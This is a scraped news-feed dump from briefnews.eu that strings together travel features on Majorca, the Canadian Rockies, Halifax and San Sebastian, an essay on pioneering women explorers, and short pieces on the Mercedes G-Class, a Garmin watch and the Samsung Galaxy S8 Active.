My family isn’t the most energetic while away but this year, thanks to the infectious, fun atmosphere at the hotel, things were different.

Related articles

This was in large part because of the ambience generated by the ever-smiling and always hard-working Star Camp entertainment team, which seemed to run the place.

Newly relaunched by Iberostar across their hotels, Star Camp also provides 140 activities, as wide-ranging as cookery and film-making, for children aged between four and 17.

And unlike at some hotels, they don’t badger you to take part every five minutes while you are trying to finish your Dan Brown novel or enjoying a cocktail by the pool.

As our week in the sun drew to a close I was, however, offered the opportunity to wear the life-sized banana suit costume of kids’ disco night favourite, Starky – but I tactfully declined.

After all, it’s fine to have fun on your holiday… but never a good idea to go bananas.

Village markets

Village markets are the best place to buy local produce, such as olives. (Image: NC)

1 Take a boat trip on the waters between Majorca and Menorca then dive down to check out the wrecks of scores of ships that have fallen victim to the seas.

2 If birdwatching is your thing, the north of the island is currently a hotspot for species including Cory’s shearwater as well as the Balearic shearwater.

3 Market day in any Majorcan village has a real buzz. Street sellers from across the island set up stalls to offer everything from fruit and vegetables to designer leather goods.

4 Buy a bottle (or two) of the local wine. Wineries currently making a name for themselves are Vinyes Mortitx, Son Ramón and Ca’n Vidalet.

5 Or if you’re a beer drinker, try the island’s own offerings. It is currently enjoying a craft beer boom thanks to brands such as Forastera and Toutatis.

Majorca in the sea

Palma is experiencing a gastronomical boom. (Image: NC)

6 Visit the Palace of La Almudaina. Formerly an Islamic fort in Palma, it was converted into a residence for Majorcan monarchs at the end of the 13th Century.

7 Explore La Casa de Robert Graves, the home of the British poet and novelist who moved to Deia in 1929. On show are original period furnishings and objects that belonged to the writer.

8 The art scene is exploding on the island, especially in Palma, and a must-visit is Es Baluard, the most important modern art museum in the Balearics.

9 Take a hike around one of the seven specially designed, picturesque walking routes that were the idea of ecology activist Guillem Ferrer.

10 Get to grips with kitesurfing. The Bay of Alcudia has a thermal wind that is perfect for this addictive sport.

Way to go

A double room at Iberostar Alcudia Park, on a room-only basis, costs from €256.70 (£228.80) and on an all-inclusive basis from €358.70 (£319.71).

For more on Iberostar hotels, visit iberostar.com.

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]]> https://briefnews.eu/magical-majorca-take-in-palma-and-the-islands-rugged-northern-coast-on-a-sunshine-break/feed/ 0 Canada: Rugged Rockies are a knockout https://briefnews.eu/canada-rugged-rockies-are-a-knockout/ https://briefnews.eu/canada-rugged-rockies-are-a-knockout/#respond Mon, 11 Jun 2018 04:21:08 +0000 http://briefnews.eu/canada-rugged-rockies-are-a-knockout/

Rocky Mountaineer trainGETTY

Every passenger in Gold Leaf class on the Rocky Mountaineer has a panoramic view

“Bear!” I yelled, for the benefit of my fellow travellers, but within a second he was gone from sight.

Wildlife spotting is kind of the point in this part of the world, and we’d seen plenty (eagles, whales, ospreys, elk and moose and even a beaver) on this trip. But so far the bears had proved most elusive.

Travelling here in spring, your chances of seeing one of these magnificent beasts are reasonable – they’re just waking up from hibernation and if you’re lucky you might catch a glimpse.

My brother Brent, a keen photographer, had bought a new camera especially for the occasion. Our trip began in Vancouver in the province of British Columbia on the far western coast of Canada.

Related articles

Black bear in Banff National ParkGETTY

A curious black bear and the Rocky Mountaineer train rounding a bend in Banff National Park

Wildlife spotting is kind of the point in this part of the world

Think a less crowded hybrid of New York and Paris framed by stunning mountains, encircled by sandy beaches and green parks. Its low-key, outdoorsy vibe is evidenced by the number of trekking, camping and sportswear shops on almost every street. Our base was the historic Fairmont Hotel, known as the castle in the city, right in the centre of town.

This grand dame has an old-school glamour with high-end designer boutiques on the ground fl oor, and 557 well-appointed rooms.

We had our first animal encounter here, when we were greeted by golden labrador Ella, one of the dog-friendly Fairmont’s resident pooches. Before long we were out exploring Gastown, among Vancouver’s livelier districts.

After an early evening walk around its groovy bars, hip restaurants and independent boutiques, we replenished our energy levels at Steamworks Brewing Co, a posh pub offering craft beers and hearty staples such as burgers with chunky chips and pulled pork sandwiches.

A beautiful orca GETTY

A beautiful orca thrillingly breaches the waves

The next morning we headed to the sleepy seaside suburb of Steveston on a mission.

The coast of British Columbia is well known for its population of orca whales that are present here year-round.

We boarded our Vancouver Whale Watch vessel under the watchful gaze of a lone bald eagle perched atop the mast of a nearby boat.

Navigating the Fraser River towards the open sea, we saw – and heard – plenty of seals and sea lions which guide Andy described as “sounding like elderly gentlemen in extreme digestive distress”. Sure enough, their moans and groans had us all in fits of laughter.

About two hours into our five-hour trip we saw what we’d come for – not just one orca but a family of five, including a six-month-old calf.

For almost an hour they frolicked nearby, the female breaching once or twice. And a lucky few people caught it on camera. Leaving Vancouver was a wrench but the worldfamous Rocky Mountaineer train awaited.

Our Journey Through The Clouds expedition began at the train’s private station – a smartly remodelled former railway maintenance depot – as a pianist and Scottish piper serenaded the boarding passengers ahead of our two-day trip to Banff.

We were travelling in Gold Leaf class in a double-height carriage – every seat had a panoramic view on the upper level beneath a spotless wrap-around glass dome.

VancouverGETTY

Framed by mountains, Vancouver mixes outdoorsy and hip

A private dining area and viewing platform were on the lower level. Comprising 20 cars, the train was carrying 275 guests but at no point did it feel crowded.

Breakfast and lunch were served on board each day, along with a multitude of gourmet snacks and fine wines offered to us in our seats.

Going hungry or thirsty was never an option. Blueberry pancakes, hot skillet of eggs with bacon, fresh fruits… all delicious and beautifully presented as we rocked along leaving the city.

The train snaked its way through a landscape of icy rivers, granite canyons and mountains dusted with snow. All eyes were pressed against the window in the hope of spotting a bear.

In fact, deciding what to look at is the closest thing to stress here. Each carriage has four dedicated hosts pointing out photo opportunities and feeding us with local history.

Outside there were plenty of bald eagles, ospreys, bighorn sheep and the occasional moose or elk but it was really the bears we wanted to see.

Grizzly, brown, black – any would do. But on day one they proved elusive. Our first overnight stop was in Kamloops, pulling in early evening across a steel bridge as one of our hosts, Brandon, pointed out a beaver dam below. And the name of its occupier? Justin Beaver, of course.

Two horseback Mountie-esque chaps, part of the Kamloops Mounted Patrol, welcomed us to this little western town and we swiftly set off to explore it, eventually finding our way to The Noble Pig Brewhouse, a popular sports bar. The only microbrewery in town, it’s unpretentious and serves delicious pub grub.

Icefields Parkway BRENT CLARK

Icefields Parkway is the sensationally scenic route from Jasper to Banff

An early boarding next morning saw us heading further east towards Jasper. The terrain was noticeably wilder, sunshine and brilliant blue skies contrasted with the pristine snow, pale turquoise rivers and deep green of the surrounding forests – it’s as though Mother Nature has been fiddling with Photoshop. And it was on this final leg of the journey that I finally caught sight of the bear, just padding down into the woods as the train hurtles past.

It was a fl eeting glimpse and only a couple of fellow passengers shared it, but I was utterly thrilled… a bear, finally! A few moose were mooching around as we arrived in Jasper and the we-didn’t-spot-the-bear passengers were happy enough with that.

It seemed that Rocky Mountaineer had saved the best for last – our final day was not on the train but on a luxury coach traversing the magnificent Icefields Parkway.

This 145-mile highway from Jasper south to Lake Louise cuts through the very heart of the Rockies along the Continental Divide. The mountains either side of us are apparently the youngest ones in the world, born in the last Ice Age.

Many people hire a car and drive this route but it’s much better to go on the coach as we did, so you can keep your eyes on the world-class scenery rather than the road. Just as the name implies, these glaciers or “fields of ice” straddle both Banff and Jasper National Parks and are the largest south of the Arctic Circle.

Along the way particularly scenic spots are signposted, often with walkways along the cliff edges providing great photo opportunities. An experience not to be missed is an Ice Explorer ride on the Athabasca Glacier – a truck/bus hybrid vehicle trundles passengers up a perilous track on to the Columbia Icefield where you can walk on part of the glacier.

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Tue, October 24, 2017

The world’s leading travel authority reveals its selection of the top ten best value destinations that Lonely Planet’s experts recommend travellers experience in 2018


10: Hunan, China - The mind-blowing scenery of Zhangjiajie Forest Park in Hunan, China

JekLi/Shutterstock

1 of 10

10: Hunan, China – The mind-blowing scenery of Zhangjiajie Forest Park in Hunan, China

These vehicles are themselves quite a feat of engineering and are worth about £750,000 – even a tyre costs £2,300. Arrival at Lake Louise was no less spectacular, although the famously turquoise water was frozen solid with several feet of snow on top. Our base for the evening, the iconic Chateau Fairmont, perches regally on the very edge of the lake.

If there is a hotel in the world with a better view then I’d like to see it. Even the acres of dazzling whiteness that the lake becomes for half the year cannot detract from the majesty of its location.

The lake, named for one of Queen Victoria’s daughters, is a hive of activity in all seasons – kayaking in the summer, trekking across in snowshoes in the winter, with miles of hiking trails and ski runs in the surrounding ampitheatre of mountain peaks.

A 40-minute coach ride further south deposits us in Banff, our final stop. This tiny town has an unassuming main street lined with yet more outdoorsy emporiums, with cafés and bars to be found in the side streets aptly named Moose, Caribou, Bear, Elk… you get the drift. I couldn’t resist popping in to Cows ice cream parlour where I sampled a delicious Cow-nadian maple syrup ice cream. Our hotel, the splendid Rimrock Resort, is a five-minute drive from the town centre on the slopes of Sulphur Mountain.

The famous Upper Hot Springs are just across the road, and the gondola to the summit is about five minutes’ walk uphill.

A late-afternoon excursion to the peak of Sulphur Mountain afforded us yet more fantastic views, and dining at the Sky Bistro is not to be missed. Fancy a bison steak? This is the place.

Bathers in the Upper Hot Springs in Banff LISA CLARK

Bathers in the Upper Hot Springs in Banff

Heading down the mountain as night fell, we took our weary selves to the hot springs. Steaming hot spring water is fed into a large communal pool with plenty of ledges to rest on.

Strategically placed jets give an unexpected massage and it’s an other-worldy experience to lie back in the thermal waters, surrounded by darkening starlit skies and look up at the mountains.

Was that Ursa Major, the famous star constellation also known as the Great Bear, shining brightly above us? I like to think so.

GETTING THERE

Rocky Mountaineer (0800 088 5541/rocky mountaineer.com) offers a four-day, three-night Journey Through The Clouds Gold Leaf-class trip from £1,600 (two sharing), half board.

Price includes overnight stays in Kamloops and Jasper (you can add in Lake Louise and Banff).

British Airways (ba.com) offers return flights from Heathrow to Vancouver from £495.

Vancouver Whale Watch (dialling from the UK: 0011 604 274 9565/ vancouverwhalewatch.com) offers whalewatching trips from £75.

Brewsters (dialling from the UK: 0011 1 403 221 8242/brewster.ca) offers Athabasca Glacier tours from £29.

British Columbia tourism: hellobc.com

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]]> https://briefnews.eu/canada-rugged-rockies-are-a-knockout/feed/ 0 Rugged white guys with beards? Nope, most of my favorite explorers are women https://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/ https://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/#respond Wed, 07 Mar 2018 08:23:14 +0000 http://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/
Lola Akinmade Åkerstrom

If you took pop culture as gospel, you’d think the only people who take on any pioneering exploits were posh, hairy, white men. But plenty of badass women have grabbed adventure by the horns over the centuries too.

There are two definitions for the term ‘pioneer’ in the modern Oxford English Dictionary. The first description is of a person who is “among the first to explore or settle a new country or area”. The second describes someone “among the first to research and develop a new area of knowledge or activity”.

Judging by these descriptions, it’s abundantly clear that pioneers of adventure travel still exist all around us. And included on that list of pioneers are plenty of women who have been accomplishing amazing feats throughout history—and continue to right up to the current day.

Women who have battled against all odds to show that the impossible is nothing but a mental boundary we create for ourselves. Women who have helped clear the way and made it easier for the rest of us. Women who are inventing technology that’s changing the travel photography industry—and even opening up platforms to continue to lift up the diverse voices of women in adventure travel.

RELATED: When will the travel industry champion more diversity?

If you asked me to name at least five women who pioneered adventure over time, the very first one that comes to mind is Amelia Earhart, the American aviator. She became the first woman to fly solo across the Atlantic in the early 1900s and her plane mysteriously disappeared in 1937 during a bold attempt to circumnavigate the earth.

Eighty years later and Amelia’s is still the first name that comes up when I think of women adventurers—mostly because her story has been covered across all forms of media for so long and in so many ways. While Earhart was certainly a forerunner, this also shows how dated our collective views and definition of the word ‘pioneer’ can still be when it comes to adventure and adventure travel. I firmly believe that the spirit of adventure is as diverse as we all are, and shouldn’t be narrowly defined to a single stereotype, be it gender, race or anything else.

In 1921, African-American pilot and pioneer Bessie Coleman became the first black woman to obtain a pilot’s license and fly in the United States. Adding to her badass credits, she specialized in aerial stunts and parachuting, but died in a tragic plane accident in  in 1926 during rehearsals for an upcoming airshow.

When I started my research for this piece, I came across even more of these fascinating women pioneers across history and well into modern times. Women who epitomized courage, tenacity, energy. While I wish I could share all their stories here, I’ve picked a few I wanted to highlight.

The proliferation of round-the-world (RTW) tickets can literally take backpackers around the world in a matter of days. The 20th-century American investigative journalist Elizabeth Jane Cochrane (aka Nellie Bly) was inspired by French author Jules Verne’s novel, Around the World in Eighty Days, and set out to match the feat. Except Bly accomplished her goal over a week faster and chronicled the adventure in her book, Around the World in Seventy-Two Days, published in 1890.

Now, there are so many jokes I could crack about women getting things done quicker than men. But I’ll refrain (for now).

While we’re on the topic of circumnavigation, in 1985 Tania Aebi, at the mere age of 18, set sail around the world—solo—on her boat Contessa 26 Varuna, covering a distance of 27,000 miles (43,452 kilometers). When I think back to what I was doing at 18 years old, it probably involved a sofa and some chicken wings—not a boat and 27,000 miles.

RELATED: Meet the women changing travel

I once had lunch with a Swedish friend who was about to embark on a cycling trip around the world. At the time, while his feat was certainly impressive, it didn’t seem impossible because so many people have accomplished the very same over the years. But reflecting back on that conversation, it got me thinking about Latvian immigrant Annie Cohen Kopchovsky (aka Annie Londonderry), who was already a mother of three young children when she decided to bike around the world (with a few steam ferry crossings in-between) in 1894.

What intrigued me the most about Annie Londonderry—who changed her name from Kopchovsky for safety reasons while traveling—wasn’t her amazing adventure, but the fact that she also had her young children at the time.

As a mother myself, to two small kids, who also happens to love adventure and enjoys working as a travel writer and photographer, it’s inspiring to see role models who have paved the way against a backdrop of judgemental whispering. Londonderry was part of the reason why I penned this ode to traveling mothers.

I was also drawn to  ‘Grandma Gatewood’. In 1955, Emma Gatewood was the first woman to hike the entire Appalachian Trail solo—a 2,050-mile-long (3,299 kilometers) feat. What made her story particularly remarkable was the fact that she did this at the age of 67—while being a mother of 11 children and grandmother to 23. Sadly, ageism still exists and often, older adventurers—pioneers though they may be—can fade into the background while the young and the rugged are pushed into the limelight.

Another older adventurer was  African-American adventurer Barbara Hillary, who trekked to both the North and South Poles in her late 70s—and became the first black woman to do so.

As a lover of  husky sledding—I’ve tried it in Sweden, Finland, and Greenland—I’d be remiss not to mention American dog musher Libby Riddles on this list of inspirational women. She was the first woman to win the legendary Iditarod Trail Sled Dog Race, a 1,100-mile (1,770 kilometer) trans-Alaska race.

And if space is the final frontier of travel, then Mae Jemison already paved the way for thousands of African-American girls by being the first black female astronaut,  flying into space aboard NASA’s Endeavour in 1992.

Back on earth, summiting Everest remains the epitome of human achievement and Japanese mountaineer Junko Tabei was the first woman to reach its peak. That iconic black-and-white Associated Press photo of Tabei—taken in 1975 as she held the Japanese flag while kitted up in full expedition gear and an oxygen mask—has since become a a powerful visual metaphor for me.

Looking at that image, you can’t really tell if it was a man or woman behind that mask. And as the women mentioned here are a testament to, adventure truly is for all of us.

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]]> https://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/feed/ 0 Mercedes G-Class 2018 REVEALED – all-new and improved rugged off-roader revealed https://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/ https://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/#respond Mon, 15 Jan 2018 02:02:16 +0000 http://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/

Mercedes has revealed the new G-Class 2018 4×4 at the Detroit Auto Show. 

The German car manufacturer said the G-Class is “instantly recognisable” in terms of its design. 

Visually both the exterior and interior have been updated but the car retains the styling cues that made it iconic. 

It has the same rugged, solid boxy design that is unapologetically retro and familiar. 

The car will also still be made with a ladder type frame, three 100-per differential locks and low range gear. 

According to Dr. Dieter Zetsche, Chairman of the Board of Management of Daimler AG, 80 per cent of the G-Class models made over the decades still remain on the roads. 

This is a testament to its tough all-terrain character and timeless design. 

The Chairman said that while the car will be familiar to those who view it, every element has been improved or refined and is not just the old generation vehicle with a new badge. 

G-Class Torsional stiffness has improved by 55 per cent and the vehicle is 170kg lighter than the previous generation.

The independent front wheel suspension has also been tweaked to achieved smoother on road performance and off-road capability. 

It also comes with the latest safety assistance systems such as traffic sign assist and brake assist.

Wading depth has also bee increased to 700mm and a new waterproof rear cameras has been fitted under the rear tyre to help with reversing manoeuvres. 

Inside the cabin there is now 150mm more space in the rear and upgraded technology including the new dual-screen interior design. 

Two screens stretching from the drivers side into the centre console now control the car’s functions. 

The left screen takes the place of a traditional instrument cluster while the right takes care of navigation and infotainment.

A multi-functional steering wheel, with touch-sensitive controls for the infotainment system has also been added alongside a new electric handbrake and gear selector stalk.

Dieter Zetsche also teased that an electrified version of the car could also be in the pipeline. 

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]]> https://briefnews.eu/mercedes-g-class-2018-revealed-all-new-and-improved-rugged-off-roader-revealed/feed/ 0 Halifax: Explore the crest of the waves in Canada's rugged Atlantic coast https://briefnews.eu/halifax-explore-the-crest-of-the-waves-in-canadas-rugged-atlantic-coast/ https://briefnews.eu/halifax-explore-the-crest-of-the-waves-in-canadas-rugged-atlantic-coast/#respond Sat, 04 Nov 2017 01:05:16 +0000 http://briefnews.eu/halifax-explore-the-crest-of-the-waves-in-canadas-rugged-atlantic-coast/

This wine’s made by Gina,” my waiter says, as he fills my glass. The Gina in question is winemaker at Gaspereau Vineyards, one of several local suppliers of Halifax’s Chives Canadian Bistro. It’s impossibly cosy: candles flicker on wooden tables, and every meal starts with warm buttermilk biscuits.

And the fact that the waiter is on first-name terms with the wine supplier doesn’t surprise me. Halifax, the capital of Canada’s Nova Scotia province, is that kind of place.

My first day is a blustery one, with gusts of wind whipping up the Atlantic’s dark, choppy waves – although this hasn’t deterred a handful of canoeists from taking to the water. I opt for a less strenuous form of exercise – a wander along the boardwalk, which winds along the historic harbour front.

This is where you’ll find Halifax’s biggest tourist attractions, including the Maritime Museum Of The Atlantic.

Permanent exhibits focus on the Titanic (more of which later) and the Halifax explosion of December 1917. 

Most of the city was flattened when a munitions ship collided with a Norwegian vessel in the harbour, causing the largest man-made explosion in history, second only to Hiroshima. An additional temporary exhibition at the museum, in place until November 2018, is harrowing but fascinating.

Exhibits include a memorial quilt bearing the names of the 2,000 victims.

Outside, the sun has burst from behind the clouds, so I take a breather on the terrace at Stayner’s, a popular lunch spot famous for its seafood chowder. 

Afterwards, I convince myself that the fact that I have to walk a short distance (albeit only 100 or so metres) justifies my choice of dessert spot: Cows. This popular ice cream bar is a Halifax institution. There are dozens of flavours (more unusual options include green tea and pumpkin), but I chose a cherry-topped chocolate sundae.

The one thing you can be sure of is that you’ll burn the extra calories off quickly here.

Halifax is a city where life is lived outdoors; even in winter, locals can be seen pedalling through snow flurries or hiking in the forested Point Pleasant Park.

I channel my inner Haligonian and head off on a bike ride. I whoosh along Young Avenue, a sought-after residential street filled with rainbow-hued clapboard houses. Its most famous property is the George Wright House, otherwise known as the Titanic House.

It was once owned by Halifax philanthropist George Henry Wright.

In 1912, while abroad on business, Wright asked a lawyer to write his will, stating that his Halifax home should be left to the city’s Local Council Of Women. And he was just in time – his return trip was on the Titanic and his body was never recovered. 

Today, the not-for-profit organisation is still based at the property, listed on the Canadian Register Of Historic Places.

I lighten the mood with some retail therapy at Halifax Shopping Centre, home to popular North American brands such as Sephora. But for something truly Nova Scotian, I’d suggest making a beeline for Halifax Seaport Farmers’ Market, where local entrepreneurs sell everything from sea-glass jewellery to handmade toys.

The boardwalk also has some fantastic shops – one of my favourites is the NovaScotian Crystal boutique.

At the glass factory next door, you can watch craftsmen shape glowing red-hot orbs of glass. Barrington Street has some of the city’s best restaurants (including the aforementioned Chives) and some of Halifax’s quirkier shops. My favourite find is Freak Lunchbox, a Willy Wonka-esque sweet shop.

Toxic Waste Sour Smog Balls anyone?

As I leave, I spot the imposing outline of the Halifax Citadel, a hilltop fort dating back to 1749 

and a reminder of the city’s rich history. Today, Halifax is still a gateway to Nova Scotia. Many visitors arrive here before heading to Cape Breton Island, home of the Cabot Trail, or the nearby Bay Of Fundy and Lunenburg, a UNESCO-listed town. 

But now Halifax is a destination in its own right, with growing numbers flocking here for its fantastic culinary scene, welcoming locals and fascinating history. My advice? Head there before word gets out.

Top 10 things to do in Halifax

1 Wander along Halifax’s historic waterfront. Start at the Canadian Museum Of Immigration at Pier 21, once the entry point for over one million immigrants.

2 Get a sugar fix at Freak Lunchbox (freaklunchbox.com). This sweet shop is a great place to pick up souvenirs for loved ones.

3 Learn about Halifax’s history at the Maritime Museum Of The  Atlantic (maritime museum.nova scotia.ca).

4 Wander around Point Pleasant Park, a forested paradise where you’ll find almost 40km of walking trails and the ruins of several forts.

5 Eat a lot of food. Your first stop should be Chives Canadian Bistro (chives.ca), where head chef and owner Craig Flinn serves up his legendary local cuisine.

6 Meet the locals at Bearly’s House Of Blues & Ribs (bearlys.ca). This cosy bar is also a popular student hangout (there are six universities in Halifax).

7 Visit the Halifax Citadel. This is where Halifax began in 1749, and the British military built this fort to help defend the harbour below.

 8 Enjoy local cuisine at the Halifax Seaport Farmers’ Market (halifaxfarmers market.com). It’s the oldest farmers’ market in North America.

 9 Admire the masterpieces on display at the Art Gallery Of Nova Scotia (artgalleryof novascotia.ca).

 10 Take a ferry (halifax.ca/transportation/halifax-transit/ferry -service) across the water to Dartmouth on the oldest ocean ferry service in North America.

Way to go

Air Canada (aircanada.com) flies from London Heathrow to Halifax from £617.67 return. Double rooms at The Westin Nova Scotian (thewestinnovascotian.com) cost from £84 per night.

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]]> https://briefnews.eu/halifax-explore-the-crest-of-the-waves-in-canadas-rugged-atlantic-coast/feed/ 0 San Sebastian: Explore Spain's rugged north coast with vineyards, beaches and tapas https://briefnews.eu/san-sebastian-explore-spains-rugged-north-coast-with-vineyards-beaches-and-tapas/ https://briefnews.eu/san-sebastian-explore-spains-rugged-north-coast-with-vineyards-beaches-and-tapas/#respond Fri, 13 Oct 2017 23:46:09 +0000 http://briefnews.eu/san-sebastian-explore-spains-rugged-north-coast-with-vineyards-beaches-and-tapas/

San SebastianGETTY

San Sebastian is located in the heart of the Basque region on Spain’s rugged northern coast

Eating is almost a religion around here,” said our guide Marina, as we stood at the bar and devoured yet another delicious delicacy at yet another pintxos bar.

This time it was bread topped with mushrooms and prawns in a rich garlic sauce. And with such heavenly treats at almost every bar, it’s easy to see why. 

San Sebastian, located in the heart of the Basque region on Spain’s rugged northern coast, is the country’s culinary capital.

The city is on the shores of the Bay of Biscay, just 12 miles from the French border, and has all the ingredients of a winning mini-break – culture, history, beautiful architecture and lovely coastal scenery.

But it’s the food that really shines. Tapas – or pintxos (pronounced “pin-chos”) – are its forte, with establishments specialising in one or two specific bite-sized dishes.

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The narrow streets of the city centre are lined with cosy eateries, the bars of which heave with platters piled high with delectable delights: skewers of grilled shrimps and pineapples, chewy calamari and spicy chorizo brochettes.

Inside, hungry folk jostled for space, cramming together like sardines. And speaking of sardines (sort of), don’t miss the salty anchovies on toast at Txepetxa.  

After so much overeating,  I took a long walk along the promenade of La Concha, the crescent-shaped beach in the heart of the city.

Families and couples were camped on the sand, enjoying the early autumn sunshine, while others swam and paddled in the shallows.

Across the bay was the small island of Santa Clara, its steep walls rising 48m from the water where once upon a time, in the 1500s, locals who contracted the plague were exiled to avoid further contamination. 

SAN SEBASTIANALAMY

Vineyards and the River Ebro, La Rioja

Historians believe people first settled in this area several centuries before in 1181 and it changed hands between various kings and kingdoms in the years that followed.  

Before long, thoughts once again turned to food. But this time I tried to learn a few of the secrets of Basque cuisine for myself, so I signed up for a class at the acclaimed Mimo cookery school.

Charismatic head chef Patricio Fuentes guided us through the process of producing an exquisite five-course meal that you would normally expect to find in a Michelin- starred restaurant.

Together we blanched an octopus, braised veal cheeks, pickled vegetables and whipped up beetroot foam before producing the city’s famous burnt vanilla cheesecake in the school’s swanky state-of-the-art kitchen. The whole thing felt rather like an episode of MasterChef. 

Of course, this part of Spain is not just about the food. The wine is pretty good, too. Barely an hour from the city, we found ourselves in La Rioja, the region famed for producing some of the world’s best vinos. 

Spanish Holiday hotspots

Thu, August 10, 2017

With its sunny weather and sandy beaches, Spain is a wonderful country to visit. We take a look at the best destinations for tourists

La Concha Bay, San Sebastian

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La Concha Bay, San Sebastian

Our first stop was the scenic Hacienda El Ternero where we walked among the seemingly infinite vineyards and stopped to enjoy a picnic of local cheeses and meats, washed down, naturally, with delicate and well-paired reds and whites. 

After that, we explored more of the region, one of endless valleys and sloping mountains that started the world- famous tipple back in ancient times. By the 16th century, it had already established itself as one of the biggest wine producing regions in Europe. And not much has changed since then. 

A lovely day was spent in the region’s capital, the medieval city of Logroño, which is located on the banks of the Ebro River.

Guide Marina, who leads trips with food and wine specialist tour operator SmoothRed, showed us around on a walk that went from its tree-studded plazas to the 13th century Gothic San Bartolomé Church, where nesting storks perched on the bell tower, via some of her favourite eateries. 

Together we sipped small glasses of wine while nibbling on tasty treats specific to that particular place. “Each place is famous for one dish so the idea is to hop between several until you’re full,” said Marina. 

The next day we journeyed to the Gómez Cruzado winery, in the atmospheric town of Haro, where we got a vino masterclass surrounded by some 500 oak barrels piled high in the cellar. But culture in these parts comes in all shapes and sizes. 

San SebastianGETTY

Surfing at Zurriola

Back in San Sebastian I took the opportunity to delve even deeper by signing up for a week’s course at Lacunza, a language school where native teachers guide beginners into competent Spanish speakers. 

After challenging but fulfilling classes each morning, a busy calendar of events awaited every afternoon, aimed to not only enhance our newly found lingo but also reveal secret corners of the city: surfing, nature hikes, trips to the theatre.

Together, students of all ages, nationalities and abilities embarked on cultural excursions. My favourite, of course, being the pintxos bar crawl. We hopped from bar to bar, conversing with locals and devouring each of their legendary specialities (miss the insanely cheesy risotto at Borda Berri at your peril).

Well, when in San Sebastian…

SAN SEBASTIANALAMY

La Concha beach

Ten things you must do in San Sebastian

1 Take a stroll in the autumn sunshine along La Concha beach.

2 Visit the island of Santa Clara. Enjoy its tiny beach with views of the city and then stroll to the lighthouse.

3 Learn the lingo at Lacunza Spanish School (lacunza.com).

4 Drive through the beautiful undulating valleys and vineyards of La Rioja.

5 Sample the local tapas and then cook up a storm at the Mimo Culinary School (sansebastian.mimofood.com).

6 Indulge in a spot of wine tasting at local wineries. Scenic Hacienda El Ternero is a great place to start.

7 Wander through the winding streets of La Rioja’s medieval capital, Logroño.

8 Go surfing at Zurriola.

9 Take one of the daily pintxos tours, guided by specialists, visiting top bars and pairing the food with local Rioja wine. Visit sansebastian pintxos.com/en.

10 Walk to the summit of Monte Urgull, topped by the low castle walls of the Castillo de la Mota. The views over the city are beautiful.

Way to go

SmoothRed (020 8877 4940/smoothred.co.uk) offers tailor-made trips to San Sebastian and La Rioja. A four-day itinerary costs from £1,986pp including flights from the UK, three nights in five-star accommodation, transfers, some meals and a guided tapas tour.

For more information, visit spain.info. 

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]]> https://briefnews.eu/san-sebastian-explore-spains-rugged-north-coast-with-vineyards-beaches-and-tapas/feed/ 0 Garmin’s Fenix 5X Review: The Best, Most Rugged Multi-Sport Watch https://briefnews.eu/garmins-fenix-5x-review-the-best-most-rugged-multi-sport-watch/ https://briefnews.eu/garmins-fenix-5x-review-the-best-most-rugged-multi-sport-watch/#respond Thu, 07 Sep 2017 11:45:34 +0000 http://briefnews.eu/garmins-fenix-5x-review-the-best-most-rugged-multi-sport-watch/ It tracks over a dozen sports, and the maps feature is excellent.


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]]> https://briefnews.eu/garmins-fenix-5x-review-the-best-most-rugged-multi-sport-watch/feed/ 0 Samsung’s rugged Galaxy S8 Active launches this week https://briefnews.eu/samsungs-rugged-galaxy-s8-active-launches-this-week/ https://briefnews.eu/samsungs-rugged-galaxy-s8-active-launches-this-week/#respond Mon, 07 Aug 2017 13:41:50 +0000 http://briefnews.eu/samsungs-rugged-galaxy-s8-active-launches-this-week/

Samsung is officially releasing the Galaxy S8 Active on Friday, August 11. The rugged sibling to the company’s all-conquering flagship will come in two colors (meteor gray and titanium gold). For a limited time, the phone will be exclusively available through AT&T — that includes pre-orders, which start tomorrow.

The new handset’s specs match those that were leaked around two weeks ago. Internally, it carries all the high-end hardware from the standard Galaxy S8, including a Snapdragon 835 CPU, 4GB of RAM, and 64GB of storage. It also packs a 12-megapixel rear camera, and an 8-megapixel front-facing camera. The Active’s main perk is its battery, which at 4,000mAh, is larger than the 3,000mAh and 3,500mAh batteries found inside the S8 and S8 plus, respectively.

Its other main differentiators are its design and durability. All the clumsy phone-droppers out there will be glad to learn the Active is shatter-, water-, and dust-resistant. That means you can submerge it in up to 5 feet of water for up to 30 minutes or drop it from up to 5 feet on to a flat surface. Honestly, give it hell (or a drunken night on the town) and see if it survives. On top of that, it’s made with military-grade materials — which should hopefully stop it from leaking like its predecessor. The handset’s exterior boasts a metal frame and bumper to protect against shock, and the rugged back cover we’ve come to expect. Judging from the pics, it also deviates from the original Galaxy S8 by ditching the flagship’s curved Infinity Display.

You can grab the Samsung Galaxy S8 Active from AT&T, starting from $ 28 per month. There’s no word yet on additional pricing, and when the phone will land on more carriers.

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